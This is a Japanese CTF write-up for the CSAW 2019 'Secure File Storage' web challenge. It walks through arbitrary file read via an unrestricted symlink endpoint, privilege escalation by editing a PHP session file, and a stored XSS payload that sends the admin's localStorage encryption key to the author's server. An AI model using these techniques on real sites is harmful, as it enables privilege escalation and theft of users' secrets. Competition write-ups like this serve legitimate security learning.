CSAW CTF 2019 Qualification Writeup - Secure File Storage (web 300)

問題の概要

ユーザーの作成、ログイン、ファイルのアップロードの機能があるWebサイトが与えられる。アップロードしたファイルを見る画面は見当たらない。

f:id:iso0:20190916170549p:plainf:id:iso0:20190916170552p:plain

問題のヒントとして管理者がWebサイトに頻繁にアクセスしてきていることが付け加えられた。多分この情報がなかったらこの問題を解くことはできなかった。

HINT: The admin checks the site frequently!

調査

ファイルをアップロードするページには次のようなJavaScriptが書かれている。

if (localStorage.encryptSecret === undefined) {
    var secret = new Uint8Array(32);
    window.crypto.getRandomValues(secret);
    localStorage.encryptSecret = btoa(String.fromCharCode.apply(null, secret));
}

$("#uploadForm").submit(function(e) {
    e.preventDefault();
    var f = $("#file")[0].files[0];
    if (!f) {
        alert("You must select a file!");
    } else {
        var fr = new FileReader();
        var fn = f.name;
        fr.onload = function(file) {
            var ciphertext = CryptoJS.AES.encrypt(fr.result, atob(localStorage.encryptSecret)).toString();
            $.post({
                url: "/api/v1/file/edit",
                data: {path: fn, content: btoa(ciphertext)}
            }).done(function() {
                location.reload();
            });
        };
        fr.readAsText(f);
    }
});

具体的には次のような処理が書かれている。

  • ローカルストレージから鍵を読み込む(ただし、鍵がなければ生成してローカルストレージに保存する)
  • ファイルを暗号化し、/api/v1/file/editというエンドポイントにpath=<file name>&content=<encrypted data>をPOSTする

editがあるなら読み込む処理もあるはずだと色々試していると、/api/v1/file/readpath=<file name>をPOSTするとeditで書き込んだコンテンツを取得することができた。任意のファイルを読めないか、ディレクトリトラバーサル的なことを色々試してみたがどうやらここに脆弱性はなさそうだった(書き込みも同様)。

readエンドポイントの存在はどこにも書かれていないので、この問題はある程度の推測とブルートフォースを要求される問題なんだと考えて、gobuster*1にdirectory-list-2.3-big.txtを読み込ませて他のエンドポイントを探った。

見つかったパスは次の通り。

  • /login
  • /admin
  • /register
  • /api/v1/file/edit
  • /api/v1/file/read
  • /api/v1/file/delete
  • /api/v1/file/list
  • /api/v1/file/symlink

/adminにアクセスすると権限がないと言われ、アクセスができない。また、/api/v1/file/listも同様に権限がないと言われる。

{"status":"error","error":"You are not authorized to perform this action"}

任意ファイルの読み出し

ここで注目したいのが/api/v1/file/symlinkである。path=<from>&target=<to>をPOSTするとtargetで指定したパスへのシンボリックリンクを作成できるようだが、targetに制限はかけられていなかった。これを利用することでサーバー上の任意のファイルを読み込めるようになる。例えばpath=root&target=../../../../../../../..//api/v1/file/symlinkにPOSTし、path=root/var/www/html/index.php/api/v1/file/readにPOSTすることでWebアプリのソースコードを読むことができる。

セッションファイルの改竄

Webアプリのソースコードを読むと、権限はセッションファイルに保存されていることがわかる(ログイン時にデータベースから権限を読み込みセッションに保存している)。PHPのセッションファイルは/tmp/sess_<PHPSESSID>に保存されており、自身のセッションファイルを読み込むと次のような情報が保存されていた。

current_user|O:4:"User":4:{s:8:"username";s:6:"miotas";s:8:"password";s:60:"$2y$10$ll0vW.MpPMt.rU.zAEVvfu/PCHksYhVTTcVllialUoDGS0VWHJNxG";s:5:"privs";i:3;s:2:"id";i:234;}

ユーザーの権限はprivsのビットとして表現されており、全ての権限を有するためには15を指定すれば良い(なんか競技中はprivsがstringsだった気がするが、今見たらintegerになっている?)。

current_user|O:4:"User":4:{s:8:"username";s:6:"miotas";s:8:"password";s:60:"$2y$10$ll0vW.MpPMt.rU.zAEVvfu/PCHksYhVTTcVllialUoDGS0VWHJNxG";s:5:"privs";i:15;s:2:"id";i:234;}

この状態で/adminにアクセスすると管理者画面っぽい画面が表示され、管理者になれたことがわかる。

f:id:iso0:20190916174552p:plain

flagの読み出し

ソースコードからユーザーが保存したデータは/tmp/user_data/<user id>に保存されることがわかる。/api/v1/file/listエンドポイントを使って調べるとflagは/tmp/user_data/1/flag.txtに保存されていることがわかる。

flag.txtの内容は次の通り。

U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==

flag.txtは暗号化されていることから、前述のアップロードページから暗号化されてアップロードされたと推測できる。

➜ echo U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ== | base64 -D | file -
/dev/stdin: openssl enc'd data with salted password

flagを復号するには管理者のローカルストレージに保存された鍵を入手する必要がある。

鍵の入手

ヒントに書かれている、管理者がアクセスする画面がどのページなのか不明だが、/adminにはアクセスしてくれると想定して色々調査する。するとWelcome XXXに表示されているユーザー名はセッションから読み込まれており(ログイン時にセッションに書き込まれる)、エスケープされずに出力されていることがわかる。

このことから、管理者のセッションを特定し、ユーザー名にローカルストレージから鍵を盗み出すようなJavaScriptを指定することにより管理者のアクセス時に鍵を入手することができると想定できる。

/db.sqlにデータベースの初期化用のsqlが保存されておりこれを見ると管理者のパスワードのハッシュがわかる。この値を元に管理者のセッションファイルを特定するスクリプトを回した(usernameは他の人に書き換えられている可能性があり、idとprivsは他のユーザと重複する可能性があるため)。

INSERT INTO `User` (`id`, `username`, `password`, `privs`) VALUES
(1, 'admin', '$2y$10$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O', 15);

するとsess_4umud1lupqn0mpibor27r283o1というファイルが管理者のセッションファイルとしてヒットした。

current_user|O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:60:"$2y$10$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O";s:5:"privs";s:2:"15";s:2:"id";s:1:"1";}

usernameを次のように書き換え自身のサーバーに鍵が送信されるようにしてしばらく待つ。

current_user|O:4:"User":4:{s:8:"username";s:82:"<script>location='http://xxx.xxx.xxx.xxx/?s=/'+localStorage.encryptSecret</script>";s:8:"password";s:60:"$2y$10$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O";s:5:"privs";s:2:"15";s:2:"id";s:1:"1";}

しばらく待ってもリクエストが来ないのでセッションファイルを調べて見るとセッションファイルが書き換え前に戻っていた。管理者は巡回時に毎回ログインし直しているようなのでスクリプトでセッションファイルの書き換え処理をループさせて数秒待っていると次のようなリクエストが送信されてきた。

GET /?s=/wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds= HTTP/1.1" 200 284 "http://localhost/admin" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/72.0.3582.0 Safari/537.36

flagの復号

ファイルアップロードのページの開発者コンソールで次のJavaScriptを実行することでflagを復号できる。

flag = 'U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ=='
key = 'wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds='
CryptoJS.AES.decrypt(flag, atob(key)).toString(CryptoJS.enc.Utf8)
flag{fddb53d704808cb859862d3eb9e9609bae3711bb}

所感

解ければ楽しい問題だった気もするが、全体的に推測とブルートフォースが求められる問題だった気がする。特に管理者の巡回があるというヒントなしでは自分は解ける気がしなかった。さらに管理者がどのページを見るのかという情報もなかったので手探り感がすごかった。今問題を見るとclient.pyというファイルが配布されておりこれを見ればどこを巡回してくるのかわかるのかもしれない(解いたタイミングではなかった気がするし、今はダウンロードができない)。

また、管理者のセッションファイルを書き換える必要があり、解く際に他人に影響を与える蓋然性が高いので、こういう問題は運用が難しそうだなと思いました。